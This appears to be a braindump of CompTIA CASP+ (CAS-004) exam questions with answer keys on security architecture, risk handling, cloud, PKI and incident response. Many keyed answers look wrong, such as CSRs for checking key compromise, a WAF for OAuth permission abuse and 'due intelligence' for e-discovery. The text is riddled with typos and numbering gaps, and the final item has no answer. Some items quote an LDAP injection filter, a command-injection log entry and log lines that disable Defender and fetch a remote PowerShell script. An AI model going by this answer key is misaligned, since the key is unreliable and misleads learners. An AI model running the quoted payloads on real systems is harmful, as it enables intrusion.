CompTIA

Exam Questions CAS-004

CompTIA Advanced Security Practitioner (CASP+) Exam

NEW QUESTION 1
After a security incident, a network security engineer discovers that a portion of the company's sensitive external traffic has been redirected through a secondary ISP that is not normally used.
Which of the following would BEST secure the routes while allowing the network to function in the event of a single provider failure?

A. Disable BGP and implement a single static route for each internal network.
B. Implement a BGP route reflector.
C. Implement an inbound BGP prefix list.
D. Disable BGP and implement OSPF.

Answer: C

Explanation:
Defenses against BGP hijacks include IP prefix filtering, meaning IP address announcements are sent and accepted only from a small set of well-defined autonomous systems, and monitoring Internet traffic to identify signs of abnormal traffic flows.

NEW QUESTION 2
A vulnerability assessment endpoint generated a report of the latest findings. A security analyst needs to review the report and create a priority list of items that must be addressed. Which of the following should the analyst use to create the list quickly?

A. Business impact rating
B. CVE dates
C. CVSS scores
D. OVAL

Answer: A

NEW QUESTION 3
An application developer is including third-party background security fixes in an application. The fixes seem to resolve a currently identified security issue. However, when the application is released to the public, report come In that a previously vulnerability has returned. Which of the following should the developer integrate into the process to BEST prevent this type of behavior?

A. Peer review
B. Regression testing
C. User acceptance
D. Dynamic analysis

Answer: A

NEW QUESTION 4
A company is outsourcing to an MSSP that performs managed detection and response services. The MSSP requires a server to be placed inside the network as a log aggregate and allows remote access to MSSP analyst. Critical devices send logs to the log aggregator, where data is stored for 12 months locally before being archived to a multitenant cloud. The data is then sent from the log aggregate to a public IP address in the MSSP datacenter for analysis.
A security engineer is concerned about the security of the solution and notes the following.
* The critical devise send cleartext logs to the aggregator.
* The log aggregator utilize full disk encryption.
* The log aggregator sends to the analysis server via port 80.
* MSSP analysis utilize an SSL VPN with MFA to access the log aggregator remotely.
* The data is compressed and encrypted prior to being achieved in the cloud. Which of the following should be the engineer's GREATEST concern?

A. Hardware vulnerabilities introduced by the log aggregate server
B. Network bridging from a remote access VPN
C. Encryption of data in transit
D. Multinancy and data remnants in the cloud

Answer: C

NEW QUESTION 5
An e-commerce company is running a web server on premises, and the resource utilization is usually less than 30%. During the last two holiday seasons, the server experienced performance issues because of too many connections, and several customers were not able to finalize purchase orders. The company is looking to change the server configuration to avoid this kind of performance issue.
Which of the following is the MOST cost-effective solution?

A. Move the server to a cloud provider.
B. Change the operating system.
C. Buy a new server and create an active-active cluster.
D. Upgrade the server with a new one.

Answer: A

NEW QUESTION 6
A security analyst is performing a vulnerability assessment on behalf of a client. The analyst must define what constitutes a risk to the organization.
Which of the following should be the analyst's FIRST action?

A. Create a full inventory of information and data assets.
B. Ascertain the impact of an attack on the availability of crucial resources.

C. Determine which security compliance standards should be followed.
D. Perform a full system penetration test to determine the vulnerabilities.

Answer: A

NEW QUESTION 7
A software house is developing a new application. The application has the following requirements: Reduce the number of credential requests as much as possible Integrate with social networks Authenticate users
Which of the following is the BEST federation method to use for the application?

A. WS-Federation
B. OpenID
C. OAuth
D. SAML

Answer: D

NEW QUESTION 8
A high-severity vulnerability was found on a web application and introduced to the enterprise. The vulnerability could allow an unauthorized user to utilize an open-source library to view privileged user information. The enterprise is unwilling to accept the risk, but the developers cannot fix the issue right away.
Which of the following should be implemented to reduce the risk to an acceptable level until the issue can be fixed?

A. Scan the code with a static code analyzer, change privileged user passwords, and provide security training.
B. Change privileged usernames, review the OS logs, and deploy hardware tokens.
C. Implement MFA, review the application logs, and deploy a WAF.
D. Deploy a VPN, configure an official open-source library repository, and perform a full application review for vulnerabilities.

Answer: C

NEW QUESTION 9
A company's finance department acquired a new payment system that exports data to an unencrypted file on the system. The company implemented controls on the file so only appropriate personnel are allowed access. Which of the following risk techniques did the department use in this situation?

A. Accept
B. Avoid
C. Transfer
D. Mitigate

Answer: D

NEW QUESTION 10
A security administrator configured the account policies per security implementation guidelines. However, the accounts still appear to be susceptible to brute-force attacks. The following settings meet the existing compliance guidelines:
Must have a minimum of 15 characters Must use one number
Must use one capital letter
Must not be one of the last 12 passwords used
Which of the following policies should be added to provide additional security?

A. Shared accounts
B. Password complexity
C. Account lockout
D. Password history
E. Time-based logins

Answer: C

NEW QUESTION 10
A company requires a task to be carried by more than one person concurrently. This is an example of:

A. separation of d duties.
B. dual control
C. least privilege
D. job rotation

Answer: B

NEW QUESTION 14
A systems administrator is preparing to run a vulnerability scan on a set of information systems in the organization. The systems administrator wants to ensure that the targeted systems produce accurate information especially regarding configuration settings.
Which of the following scan types will provide the systems administrator with the MOST accurate information?

A. A passive, credentialed scan
B. A passive, non-credentialed scan
C. An active, non-credentialed scan
D. An active, credentialed scan

Answer: D

NEW QUESTION 15
A company is migrating from company-owned phones to a BYOD strategy for mobile devices. The pilot program will start with the executive management team and be rolled out to the rest of the staff in phases. The company's Chief Financial Officer loses a phone multiple times a year.
Which of the following will MOST likely secure the data on the lost device?

A. Require a VPN to be active to access company data.
B. Set up different profiles based on the person's risk.
C. Remotely wipe the device.
D. Require MFA to access company applications.

Answer: D

NEW QUESTION 17
A cybersecurity analyst discovered a private key that could have been exposed.
Which of the following is the BEST way for the analyst to determine if the key has been compromised?

A. HSTS
B. CRL
C. CSRs
D. OCSP

Answer: C

NEW QUESTION 21
A company is looking to fortify its cybersecurity defenses and is focusing on its network infrastructure. The solution cannot affect the availability of the company's services to ensure false positives do not drop legitimate traffic.
Which of the following would satisfy the requirement?

A. NIDS
B. NIPS
C. WAF
D. Reverse proxy

Answer: A

NEW QUESTION 23
A university issues badges through a homegrown identity management system to all staff and students. Each week during the summer, temporary summer school students arrive and need to be issued a badge to access minimal campus resources. The security team received a report from an outside auditor indicating the homegrown system is not consistent with best practices in the security field and leaves the institution vulnerable.
Which of the following should the security team recommend FIRST?

A. Investigating a potential threat identified in logs related to the identity management system
B. Updating the identity management system to use discretionary access control
C. Beginning research on two-factor authentication to later introduce into the identity management system
D. Working with procurement and creating a requirements document to select a new IAM system/vendor

Answer: A

NEW QUESTION 24
As part of its risk strategy, a company is considering buying insurance for cybersecurity incidents. Which of the following BEST describes this kind of risk response?

A. Risk rejection
B. Risk mitigation
C. Risk transference
D. Risk avoidance

Answer: C

NEW QUESTION 29
An organization is preparing to migrate its production environment systems from an on-premises environment to a cloud service. The lead security architect is concerned that the organization's current methods for addressing risk may not be possible in the cloud environment.
Which of the following BEST describes the reason why traditional methods of addressing risk may not be possible in the cloud?

A. Migrating operations assumes the acceptance of all risk.
B. Cloud providers are unable to avoid risk.
C. Specific risks cannot be transferred to the cloud provider.
D. Risks to data in the cloud cannot be mitigated.

Answer: D

NEW QUESTION 34
Immediately following the report of a potential breach, a security engineer creates a forensic image of the server in question as part of the organization incident response procedure. Which of the must occur to ensure the integrity of the image?

A. The image must be password protected against changes.

B. A hash value of the image must be computed.
C. The disk containing the image must be placed in a seated container.
D. A duplicate copy of the image must be maintained

Answer: B

NEW QUESTION 36
A company's employees are not permitted to access company systems while traveling internationally. The company email system is configured to block logins based on geographic location, but some employees report their mobile phones continue to sync email traveling . Which of the following is the MOST likely explanation:? (Select TWO.)

A. Outdated escalation attack
B. Privilege escalation attack
C. VPN on the mobile device
D. Unrestricted email administrator accounts
E. Chief use of UDP protocols
F. Disabled GPS on mobile devices

Answer: CF

NEW QUESTION 37
A recent data breach stemmed from unauthorized access to an employee's company account with a
cloud-based productivity suite. The attacker exploited excessive permissions granted to a third-party OAuth application to collect sensitive information.
Which of the following BEST mitigates inappropriate access and permissions issues?

A. SIEM
B. CASB
C. WAF
D. SOAR

Answer: C

NEW QUESTION 41
An auditor needs to scan documents at rest for sensitive text. These documents contain both text and Images. Which of the following software functionalities must be enabled in the DLP solution for the auditor to be able to fully read these documents? (Select TWO).

A. Document interpolation
B. Regular expression pattern matching
C. Optical character recognition functionality
D. Baseline image matching
E. Advanced rasterization
F. Watermarking

Answer: AC

NEW QUESTION 46
A forensic investigator would use the foremost command for:

A. cloning disks.
B. analyzing network-captured packets.
C. recovering lost files.
D. extracting features such as email addresses

Answer: C

NEW QUESTION 48
An organization is referencing NIST best practices for BCP creation while reviewing current internal organizational processes for mission-essential items.
Which of the following phases establishes the identification and prioritization of critical systems and functions?

A. Review a recent gap analysis.
B. Perform a cost-benefit analysis.
C. Conduct a business impact analysis.
D. Develop an exposure factor matrix.

Answer: C

NEW QUESTION 53
A disaster recovery team learned of several mistakes that were made during the last disaster recovery parallel test. Computational resources ran out at 70% of restoration of critical services.
Which of the following should be modified to prevent the issue from reoccurring?

A. Recovery point objective
B. Recovery time objective
C. Mission-essential functions
D. Recovery service level

Answer: D

NEW QUESTION 54
During a remodel, a company's computer equipment was moved to a secure storage room with cameras positioned on both sides of the door. The door is locked using a card reader issued by the security team, and only the security team and department managers have access to the room. The company wants to be able to identify any unauthorized individuals who enter the storage room by following an authorized employee.
Which of the following processes would BEST satisfy this requirement?

A. Monitor camera footage corresponding to a valid access request.
B. Require both security and management to open the door.
C. Require department managers to review denied-access requests.
D. Issue new entry badges on a weekly basis.

Answer: B

NEW QUESTION 56
Which of the following protocols is a low power, low data rate that allows for the creation of PAN networks?

A. Zigbee
B. CAN
C. DNP3
D. Modbus

Answer: A

NEW QUESTION 58
A company has hired a security architect to address several service outages on the endpoints due to new malware. The Chief Executive Officer's laptop was impacted while working from home. The goal is to prevent further endpoint disruption. The edge network is protected by a web proxy.
Which of the following solutions should the security architect recommend?

A. Replace the current antivirus with an EDR solution.
B. Remove the web proxy and install a UTM appliance.
C. Implement a deny list feature on the endpoints.
D. Add a firewall module on the current antivirus solution.

Answer: A

NEW QUESTION 61
An organization is assessing the security posture of a new SaaS CRM system that handles sensitive Pll and identity information, such as passport numbers. The SaaS CRM system does not meet the organization's current security standards. The assessment identifies the following:
* 1- There will be a $20,000 per day revenue loss for each day the system is delayed going into production. * 2- The inherent risk is high.
* 3- The residual risk is low.
* 4- There will be a staged deployment to the solution rollout to the contact center.
Which of the following risk-handling techniques will BEST meet the organization's requirements?

A. Apply for a security exemption, as the risk is too high to accept.
B. Transfer the risk to the SaaS CRM vendor, as the organization is using a cloud service.
C. Accept the risk, as compensating controls have been implemented to manage the risk.
D. Avoid the risk by accepting the shared responsibility model with the SaaS CRM provider.

Answer: A

NEW QUESTION 63
Which of the following allows computation and analysis of data within a ciphertext without knowledge of the plaintext?

A. Lattice-based cryptography
B. Quantum computing
C. Asymmetric cryptography
D. Homomorphic encryption

Answer: D

NEW QUESTION 65
Based on PCI DSS v3.4, One Particular database field can store data, but the data must be unreadable. which of the following data objects meets this requirement?

A. PAN
B. CVV2
C. Cardholder name
D. expiration date

Answer: A

NEW QUESTION 67
A security architect works for a manufacturing organization that has many different branch offices. The architect is looking for a way to reduce traffic and ensure the branch offices receive the latest copy of revoked certificates issued by the CA at the organization's headquarters location. The solution must also have the lowest power requirement on the CA.
Which of the following is the BEST solution?

A. Deploy an RA on each branch office.
B. Use Delta CRLs at the branches.
C. Configure clients to use OCSP.
D. Send the new CRLs by using GPO.

Answer: C

NEW QUESTION 71
A security analyst discovered that the company's WAF was not properly configured. The main web server was breached, and the following payload was found in one of the malicious requests:

```
(&(objectClass=*)(objectClass=*))(&(objectClass=void)(type=admin))
```

Which of the following would BEST mitigate this vulnerability?

A. Network intrusion prevention
B. Data encoding
C. Input validation
D. CAPTCHA

Answer: C

NEW QUESTION 73
A company's product site recently had failed API calls, resulting in customers being unable to check out and purchase products. This type of failure could lead to the loss of customers and damage to the company's reputation in the market.
Which of the following should the company implement to address the risk of system unavailability?

A. User and entity behavior analytics
B. Redundant reporting systems
C. A self-healing system
D. Application controls

Answer: D

NEW QUESTION 76
A security analyst observes the following while looking through network traffic in a company's cloud log:

```
Nov 02 23:19:42 vpcvirtualhost VPCLogs 224289449368 eni-379ec4f1 10.0.5.52 10.0.50.6 241 79 6 1 40 1604359182 1604359242 ACCEPT OK
Nov 02 23:19:42 vpcvirtualhost VPCLogs 224289449368 eni-379ec4f1 10.0.5.52 172.32.6.66 443 63768 6 1 40 1604359182 1604359242 REJECT OK
Nov 02 23:19:44 vpcvirtualhost VPCLogs 224289449368 eni-379ec4f1 10.0.5.52 172.32.6.66 443 58664 6 1 40 1604359182 1604359242 ACCEPT OK
Nov 02 23:19:46 vpcvirtualhost VPCLogs 224289449368 eni-379ec4f1 10.0.5.52 10.0.50.6 242 80 6 1 40 1604359182 1604359242 ACCEPT OK
Nov 02 23:19:47 vpcvirtualhost VPCLogs 224289449368 eni-379ec4f1 10.0.5.52 10.0.50.6 243 81 6 1 40 1604359182 1604359242 REJECT OK
Nov 02 23:20:01 vpcvirtualhost VPCLogs 224289449368 eni-379ec4f1 10.0.5.52 172.32.6.66 443 61593 6 1 40 1604359182 1604359242 ACCEPT OK
Nov 02 23:20:03 vpcvirtualhost VPCLogs 224289449368 eni-379ec4f1 10.0.5.52 172.32.6.66 443 64279 6 1 40 1604359182 1604359242 ACCEPT OK
Nov 02 23:20:05 vpcvirtualhost VPCLogs 224289449368 eni-379ec4f1 10.0.5.52 10.0.50.6 244 82 1 40 1604359182 1604359242 REJECT OK
Nov 02 23:20:19 vpcvirtualhost VPCLogs 224289449368 eni-379ec4f1 10.0.5.52 172.32.6.66 443 58783 6 1 40 1604359182 1604359242 ACCEPT OK
```

Which of the following steps should the security analyst take FIRST?

A. Quarantine 10.0.5.52 and run a malware scan against the host.
B. Access 10.0.5.52 via EDR and identify processes that have network connections.
C. Isolate 10.0.50.6 via security groups.
D. Investigate web logs on 10.0.50.6 to determine if this is normal traffic.

Answer: D

NEW QUESTION 81
A company undergoing digital transformation is reviewing the resiliency of a CSP and is concerned about meeting SLA requirements in the event of a CSP incident.
Which of the following would be BEST to proceed with the transformation?

A. An on-premises solution as a backup
B. A load balancer with a round-robin configuration
C. A multicloud provider solution
D. An active-active solution within the same tenant

Answer: C

Explanation:
An active-active cluster does nothing if the cloud provider goes down. One of the main features of multi-cloud is redundancy.
https://www.cloudflare.com/learning/cloud/what-is-multicloud/

NEW QUESTION 86
A user experiences an HTTPS connection error when trying to access an Internet banking website from a corporate laptop. The user then opens a browser on a mobile phone and is able to access the same Internet banking website without issue. Which of the following security configurations is MOST likely the cause of the error?

A. HSTS
B. TLS 1.2
C. Certificate pinning
D. Client authentication

Answer: A

NEW QUESTION 90
A company suspects a web server may have been infiltrated by a rival corporation. The security engineer reviews the web server logs and finds the following:

```
ls -l -a /usr/heinz/public; cat ./config/db.yml
```

The security engineer looks at the code with a developer, and they determine the log entry is created when the following line is run:

```
system ("ls -l -a #{path}")
```

Which of the following is an appropriate security control the company should implement?

A. Restrict directory permission to read-only access.
B. Use server-side processing to avoid XSS vulnerabilities in path input.
C. Separate the items in the system call to prevent command injection.
D. Parameterize a query in the path variable to prevent SQL injection.

Answer: C

NEW QUESTION 93
A customer reports being unable to connect to a website at www.test.com to consume services. The customer notices the web application has the following published cipher suite:

```
TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384 TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256
Signature hash algorithm:
sha256
Public key:
RSA (2048 Bits)
.htaccess config:
<VirtualHost> *:80>
ServerName www.test.com
Redirect / https://www.test.com
</VirtualHost>
<VirtualHost _default_:443>
ServerName www.test.com
DocumnetRoot /usr/local/apache2/htdocs
SSLEngine On
...
</VirtualHost>
```

Which of the following is the MOST likely cause of the customer's inability to connect?

A. Weak ciphers are being used.
B. The public key should be using ECDSA.
C. The default should be on port 80.
D. The server name should be test.com.

Answer: A

NEW QUESTION 97
A security engineer needs to implement a solution to increase the security posture of user endpoints by providing more visibility and control over local administrator accounts. The endpoint security team is overwhelmed with alerts and wants a solution that has minimal operational burdens. Additionally, the solution must maintain a positive user experience after implementation.
Which of the following is the BEST solution to meet these objectives?

A. Implement Privileged Access Management (PAM), keep users in the local administrators group, and enable local administrator account monitoring.
B. Implement PAM, remove users from the local administrators group, and prompt users for explicit approval when elevated privileges are required.
C. Implement EDR, remove users from the local administrators group, and enable privilege escalation monitoring.
D. Implement EDR, keep users in the local administrators group, and enable user behavior analytics.

Answer: B

NEW QUESTION 102
A company that all mobile devices be encrypted, commensurate with the full disk encryption scheme of assets, such as workstation, servers, and laptops. Which of the following will MOST likely be a limiting factor when selecting mobile device managers for the company?

A. Increased network latency
B. Unavailable of key escrow
C. Inability to selected AES-256 encryption
D. Removal of user authentication requirements

Answer: A

NEW QUESTION 107
A security analyst is trying to identify the source of a recent data loss incident. The analyst has reviewed all the for the time surrounding the identified all the assets on the network at the time of the data loss. The analyst suspects the key to finding the source was obfuscated in an application. Which of the following tools should the analyst use NEXT?

A. Software Decomplier
B. Network enurrerator
C. Log reduction and analysis tool
D. Static code analysis

Answer: D

NEW QUESTION 108
A security engineer thinks the development team has been hard-coding sensitive environment variables in its code.
Which of the following would BEST secure the company's CI/CD pipeline?

A. Utilizing a trusted secrets manager
B. Performing DAST on a weekly basis
C. Introducing the use of container orchestration
D. Deploying instance tagging

Answer: A

NEW QUESTION 109
A company was recently infected by malware. During the root cause analysis. the company determined that several users were installing their own applications. TO prevent further compromises, the company has decided it will only allow authorized applications to run on its systems. Which Of the following should the company implement?

A. Signing
B. Access control
C. HIPS
D. Permit listing

Answer: D

NEW QUESTION 114
A security analyst notices a number of SIEM events that show the following activity:

```
10/30/2020 - 8:01 UTC - 192.168.1.1 - sc stop WinDefend
10/30/2020 - 8:05 UTC - 192.168.1.2 - c:\program files\games\comptiacasp.exe
10/30/2020 - 8:07 UTC - 192.168.1.1 - c:\windows\system32\cmd.exe /c powershell https://content.comptia.com/content.exam.ps1
10/30/2020 - 8:07 UTC - 192.168.1.1 - powershell --> 40.90.23.154:443
```

Which of the following response actions should the analyst take FIRST?

A. Disable powershell.exe on all Microsoft Windows endpoints.
B. Restart Microsoft Windows Defender.
C. Configure the forward proxy to block 40.90.23.154.
D. Disable local administrator privileges on the endpoints.

Answer: C

Explanation:
top the data exfiltration and sever all malicious traffic first, and then clean up the internal mess.

NEW QUESTION 118
The Chief information Security Officer (CISO) of a small locate bank has a compliance requirement that a third-party penetration test of the core banking application must be conducted annually. Which of the following services would fulfill the compliance requirement with the LOWEST resource usage?

A. Black-box testing
B. Gray-box testing
C. Red-team hunting
D. White-box testing
E. Blue-learn exercises

Answer: C

NEW QUESTION 120
A security architect for a large, multinational manufacturer needs to design and implement a security solution to monitor traffic.
When designing the solution, which of the following threats should the security architect focus on to prevent attacks against the network?

A. Packets that are the wrong size or length
B. Use of any non-DNP3 communication on a DNP3 port
C. Multiple solicited responses over time
D. Application of an unsupported encryption algorithm

Answer: C

NEW QUESTION 122
Which of the following is a benefit of using steganalysis techniques in forensic response?

A. Breaking a symmetric cipher used in secure voice communications
B. Determining the frequency of unique attacks against DRM-protected media
C. Maintaining chain of custody for acquired evidence
D. Identifying least significant bit encoding of data in a .wav file

Answer: B

NEW QUESTION 123
A company launched a new service and created a landing page within its website network for users to access the service. Per company policy, all websites must utilize encryption for any authentication pages. A junior network administrator proceeded to use an outdated procedure to order new certificates. Afterward, customers are reporting the following error when accessing a new web page: NET:ERR_CERT_COMMON_NAME_INVALID. Which of the following BEST describes what the administrator should do NEXT?

A. Request a new certificate with the correct subject alternative name that includes the new websites.
B. Request a new certificate with the correct organizational unit for the company's website.
C. Request a new certificate with a stronger encryption strength and the latest cipher suite.
D. Request a new certificate with the same information but including the old certificate on the CRL.

Answer: D

NEW QUESTION 127
A developer wants to develop a secure external-facing web application. The developer is looking for an online community that produces tools, methodologies, articles, and documentation in the field of
web-application security Which of the following is the BEST option?

A. ICANN
B. PCI DSS
C. OWASP
D. CSA
E. NIST

Answer: C

NEW QUESTION 132
While investigating a security event, an analyst finds evidence that a user opened an email attachment from an unknown source. Shortly after the user opened the attachment, a group of servers experienced a large amount of network and resource activity. Upon investigating the servers, the analyst discovers the servers were encrypted by ransomware that is demanding payment within 48 hours or all data will be destroyed. The company has no response plans for ransomware. Which of the following is the NEXT step the analyst should take after reporting the incident to the management team?

A. Pay the ransom within 48 hours.
B. Isolate the servers to prevent the spread.
C. Notify law enforcement.
D. Request that the affected servers be restored immediately.

Answer: B

NEW QUESTION 136
A company just released a new video card. Due to limited supply and nigh demand, attackers are employing automated systems to purchase the device through the company's web store so they can resell it on the secondary market. The company's Intended customers are frustrated. A security engineer suggests implementing a CAPTCHA system on the web store to help reduce the number of video cards purchased through automated systems. Which of the following now describes the level of risk?

A. Inherent Low
B. Mitigated
C. Residual
D. Transferred

Answer: A

NEW QUESTION 139
A large number of emails have been reported, and a security analyst is reviewing the following information from the emails:

```
Received: From postfix.com [102.8.14.10]
Received: From prod.protection.email.comptia.com [99.5.143.140]
SPF: Pass
From: <carl.b@comptia1.com>
Subject: Subject Matter Experts
X-IncomingHeaderCount:4
Return-Path: carl.b@comptia.com
Date: Sat, 4 Oct 2020 22:01:59
```

As part of the image process, which of the following is the FIRST step the analyst should take?

A. Block the email address carl b@comptia1 com, as it is sending spam to subject matter experts
B. Validate the final "Received" header against the DNS entry of the domain.
C. Compare the 'Return-Path" and "Received" fields.
D. Ignore the emails, as SPF validation is successful, and it is a false positive

Answer: C

NEW QUESTION 143
A security engineer needs 10 implement a CASB to secure employee user web traffic. A Key requirement is mat relevant event data must be collected from existing on-premises infrastructure components and consumed by me CASB to expand traffic visibility. The solution must be nighty resilient to network outages.
Which of the following architectural components would BEST meet these requirements?

A. Log collection
B. Reverse proxy
C. AWAF
D. API mode

Answer: A

NEW QUESTION 145
A company is moving most of its customer-facing production systems to the cloud-facing production systems to the cloud. IaaS is the service model being used.
The Chief Executive Officer is concerned about the type of encryption available and requires the solution must have the highest level of security.
Which of the following encryption methods should the cloud security engineer select during the implementation phase?

A. Instance-based
B. Storage-based
C. Proxy-based
D. Array controller-based

Answer: B

Explanation:
We recommend that you encrypt your virtual hard disks (VHDs) to help protect your boot volume and data volumes at rest in storage, along with your encryption keys and secrets. Azure Disk Encryption helps you encrypt your Windows and Linux IaaS virtual machine disks. Azure Disk Encryption uses the industry-standard BitLocker feature of Windows and the DM-Crypt feature of Linux to provide volume
encryption for the OS and the data disks. The solution is integrated with Azure Key Vault to help you control and manage the disk-encryption keys and secrets in your key vault subscription. The solution also ensures that all data on the virtual machine disks are encrypted at rest in Azure Storage.
https://docs.microsoft.com/en-us/azure/security/fundamentals/iaas

NEW QUESTION 148
Company A acquired Company . During an audit, a security engineer found Company B’s environment was inadequately patched. In response, Company A placed a firewall between the two environments until Company B's infrastructure could be integrated into Company A’s security program.
Which of the following risk-handling techniques was used?

A. Accept
B. Avoid
C. Transfer
D. Mitigate

Answer: D

NEW QUESTION 150
An IT administrator is reviewing all the servers in an organization and notices that a server is missing crucial practice against a recent exploit that could gain root access.
Which of the following describes the administrator’s discovery?

A. A vulnerability
B. A threat
C. A breach
D. A risk

Answer: A

NEW QUESTION 155
Which of the following controls primarily detects abuse of privilege but does not prevent it?

A. Off-boarding
B. Separation of duties
C. Least privilege
D. Job rotation

Answer: A

NEW QUESTION 157
A company that uses AD is migrating services from LDAP to secure LDAP. During the pilot phase, services are not connecting properly to secure LDAP. Block is an except of output from the troubleshooting session:

```
openssl s_client -host ldap1.comptia.com -port 636

CONNECTED(00000003)
...
-----BEGIN CERTIFICATE-----
...
-----END CERTIFICATE-----
Subject=/CN=*.comptia.com
Issuer=/DC=com/DC=danville/CN=chicago
```

Which of the following BEST explains why secure LDAP is not working? (Select TWO.)

A. The clients may not trust idapt by default.
B. The secure LDAP service is not started, so no connections can be made.
C. Danvills.com is under a DDoS-inator attack and cannot respond to OCSP requests.
D. Secure LDAP should be running on UDP rather than TCP.
E. The company is using the wrong por
F. It should be using port 389 for secure LDAP.
G. Secure LDAP does not support wildcard certificates.
H. The clients may not trust Chicago by default.

Answer: BE

NEW QUESTION 158
A systems administrator is in the process of hardening the host systems before connecting to the network. The administrator wants to add protection to the boot loader to ensure the hosts are secure before the OS fully boots.
Which of the following would provide the BEST boot loader protection?

A. TPM
B. HSM
C. PKI
D. UEFI/BIOS

Answer: D

NEW QUESTION 162
A home automation company just purchased and installed tools for its SOC to enable incident identification and response on software the company develops. The company would like to prioritize defenses against the following attack scenarios:
Unauthorized insertions into application development environments
Authorized insiders making unauthorized changes to environment configurations
Which of the following actions will enable the data feeds needed to detect these types of attacks on development environments? (Choose two.)

A. Perform static code analysis of committed code and generate summary reports.
B. Implement an XML gateway and monitor for policy violations.
C. Monitor dependency management tools and report on susceptible third-party libraries.
D. Install an IDS on the development subnet and passively monitor for vulnerable services.
E. Model user behavior and monitor for deviations from normal.
F. Continuously monitor code commits to repositories and generate summary logs.

Answer: AF

NEW QUESTION 164
Due to adverse events, a medium-sized corporation suffered a major operational disruption that caused its servers to crash and experience a major power outage.
Which of the following should be created to prevent this type of issue in the future?

A. SLA
B. BIA
C. BCM
D. BCP
E. RTO

Answer: E

NEW QUESTION 167
A company recently acquired a SaaS provider and needs to integrate its platform into the company's existing infrastructure without impact to the customer's experience. The SaaS provider does not have a mature security program A recent vulnerability scan of the SaaS provider's systems shows multiple critical vulnerabilities attributed to very old and outdated Oss. Which of the following solutions would prevent these vulnerabilities from being introduced into the company's existing infrastructure?

A. Segment the systems to reduce the attack surface if an attack occurs
B. Migrate the services to new systems with a supported and patched OS.
C. Patch the systems to the latest versions of the existing OSs
D. Install anti-malwar
E. HIPS, and host-based firewalls on each of the systems

Answer: B

NEW QUESTION 171
A security team received a regulatory notice asking for information regarding collusion and pricing from staff members who are no longer with the organization. The legal department provided the security team with a list of search terms to investigate.
This is an example of:

A. due intelligence
B. e-discovery.
C. due care.
D. legal hold.

Answer: A

NEW QUESTION 175
A security compliance requirement states that specific environments that handle sensitive data must be protected by need-to-know restrictions and can only connect to authorized endpoints. The requirement also states that a DLP solution within the environment must be used to control the data from leaving the environment.
Which of the following should be implemented for privileged users so they can support the environment from their workstations while remaining compliant?

A. NAC to control authorized endpoints
B. FIM on the servers storing the data
C. A jump box in the screened subnet
D. A general VPN solution to the primary network

Answer: A

Explanation:
Network Access Control (NAC) is used to bolster the network security by restricting the availability of network resources to managed endpoints that don't satisfy the compliance requirements of the Organization.

NEW QUESTION 180
A security analyst receives an alert from the SIEM regarding unusual activity on an authorized public SSH jump server. To further investigate, the analyst pulls the event logs directly from /var/log/auth.log: graphic.ssh_auth_log.
Which of the following actions would BEST address the potential risks by the activity in the logs?

A. Alerting the misconfigured service account password
B. Modifying the AllowUsers configuration directive
C. Restricting external port 22 access
D. Implementing host-key preferences

Answer: B

NEW QUESTION 182
In preparation for the holiday season, a company redesigned the system that manages retail sales and moved it to a cloud service provider. The new infrastructure did not meet the company's availability requirements. During a postmortem analysis, the following issues were highlighted:
* 1. International users reported latency when images on the web page were initially loading.
* 2. During times of report processing, users reported issues with inventory when attempting to place orders.
* 3. Despite the fact that ten new API servers were added, the load across servers was heavy at peak times. Which of the following infrastructure design changes would be BEST for the organization to implement to
avoid these issues in the future?

A. Serve static content via distributed CDNs, create a read replica of the central database and pull reports from there, and auto-scale API servers based on performance.
B. Increase the bandwidth for the server that delivers images, use a CDN, change the database to a non-relational database, and split the ten API servers across two load balancers.
C. Serve images from an object storage bucket with infrequent read times, replicate the database across different regions, and dynamically create API servers based on load.
D. Serve static-content object storage across different regions, increase the instance size on the managed relational database, and distribute the ten API servers across multiple regions.

Answer: A

NEW QUESTION 184
A software development company makes Its software version available to customers from a web portal. On several occasions, hackers were able to access the software repository to change the package that is automatically published on the website. Which of the following would be the BEST technique to ensure the software the users download is the official software released by the company?

A. Distribute the software via a third-party repository.
B. Close the web repository and deliver the software via email.
C. Email the software link to all customers.
D. Display the SHA checksum on the website.

Answer: D

NEW QUESTION 185
A host on a company's network has been infected by a worm that appears to be spreading via SMB. A security analyst has been tasked with containing the incident while also maintaining evidence for a subsequent investigation and malware analysis.
Which of the following steps would be best to perform FIRST?

A. Turn off the infected host immediately.
B. Run a full anti-malware scan on the infected host.
C. Modify the smb.conf file of the host to prevent outgoing SMB connections.
D. Isolate the infected host from the network by removing all network connections.

Answer: D

NEW QUESTION 187
An organization's existing infrastructure includes site-to-site VPNs between datacenters. In the past year, a sophisticated attacker exploited a zero-day vulnerability on the VPN concentrator. Consequently,
the Chief Information Security Officer (CISO) is making infrastructure changes to mitigate the risk of service loss should another zero-day exploit be used against the VPN solution.
Which of the following designs would be BEST for the CISO to use?

A. Adding a second redundant layer of alternate vendor VPN concentrators
B. Using Base64 encoding within the existing site-to-site VPN connections
C. Distributing security resources across VPN sites
D. Implementing IDS services with each VPN concentrator
E. Transitioning to a container-based architecture for site-based services

Answer: A

Explanation:
If on VPN concentrator goes down due to a zero day threat, having a redundant VPN concentrator of a different vendor should keep you going.

NEW QUESTION 191
An organization mat provides a SaaS solution recently experienced an incident involving customer data loss. The system has a level of sell-healing that includes monitoring performance and available resources. When me system detects an issue, the self-healing process is supposed to restart pans of me software. During the incident, when me self-healing system attempted to restart the services, available disk space on the data drive to restart all the services was inadequate. The self-healing system did not detect that some services did not fully restart and declared me system as fully operational. Which of the following BEST describes me reason why the silent failure occurred?

A. The system logs rotated prematurely.
B. The disk utilization alarms are higher than what me service restarts require.
C. The number of nodes in me self-healing cluster was healthy,
D. Conditional checks prior to the service restart succeeded.

Answer: D

NEW QUESTION 195
An organization developed a social media application that is used by customers in multiple remote geographic locations around the world. The organization's headquarters and only datacenter are located in New York City. The Chief Information Security Officer wants to ensure the following requirements are met for the social media application:
Low latency for all mobile users to improve the users' experience SSL offloading to improve web server performance
Protection against DoS and DDoS attacks High availability
Which of the following should the organization implement to BEST ensure all requirements are met?

A. A cache server farm in its datacenter
B. A load-balanced group of reverse proxy servers with SSL acceleration
C. A CDN with the origin set to its datacenter
D. Dual gigabit-speed Internet connections with managed DDoS prevention

Answer: B

NEW QUESTION 199
A small business would like to provide guests who are using mobile devices encrypted WPA3 access without first distributing PSKs or other credentials. Which of the following features will enable the business to meet this objective?

A. Simultaneous Authentication of Equals
B. Enhanced open
C. Perfect forward secrecy
D. Extensible Authentication Protocol
